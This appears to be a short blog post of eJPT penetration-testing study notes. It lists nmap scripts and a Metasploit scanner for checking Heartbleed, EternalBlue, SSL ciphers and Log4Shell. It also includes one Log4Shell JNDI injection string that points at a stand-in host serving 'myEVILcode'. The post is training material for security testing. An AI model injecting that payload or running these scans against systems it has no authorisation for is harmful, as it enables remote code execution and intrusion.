---
title: "Vulnerability Assessment | eJPT"
description: "eJPT notes on vulnerability assessment: nmap script scanning for Heartbleed (CVE-2014-0160), EternalBlue (CVE-2017-0143) and SSL cipher enumeration."
canonical_url: "https://amrelsagaei.com/vulnerability-assessment-ejpt"
last_updated: "2025-02-05"
---

<post-media>



</post-media>

Conducting a thorough vulnerability assessment is a key component of the eLearnSecurity Junior Penetration Tester (eJPT) certification. This process involves identifying and evaluating potential vulnerabilities within a system. Here are commands to assess specific CVEs, showcasing the use of nmap scripts for targeted vulnerability discovery.

## **CVE-2014-0160**

Explore SSL vulnerabilities with nmap scripts:

### SSL Enumeration Ciphers

```bash
nmap 10.10.10.10 -sV -p 443 --script ssl-enum-ciphers
```

### Heartbleed (**CVE-2014-0160** )

```bash
nmap 10.10.10.10 -p 443 --script ssl-heartbleed
```

## **CVE-2017-0143** (EternalBlue)

Assess SMB vulnerabilities using nmap and Metasploit:

#### SMB Vulnerability Check

```bash
nmap 10.10.10.10 -p 445 --script smb-vuln-ms17-010
```

#### Metasploit Module

```text
msf5> auxiliary/scanner/smb/smb_ms_17_010
```

## **CVE-2021-44228** (Log4J)

Discover potential Log4J vulnerabilities with nmap:

### Log4Shell Discovery

```bash
nmap 10.10.10.10 -p 8080 --script log4shell.nse --script-args log4shell.callback-server=127.1.2.32:4435
```

The input field requires the following format

```text
[field]> ${jndi:ldap<!--delete comment-->:://demo.domain.com:1389/myEVILcode}
```

Explore these commands to perform a vulnerability assessment, an essential skill for eLearnSecurity Junior Penetration Tester (eJPT) certification.

**Check out:**[**Servers & Services Enumeration | eJPT**](https://blog.amrelsagaei.com/servers-services-enumeration-ejpt/?utm_source=amrelsagaei.com&utm_medium=referral)

## Sitemap

See the full [sitemap](/sitemap.md) for all pages.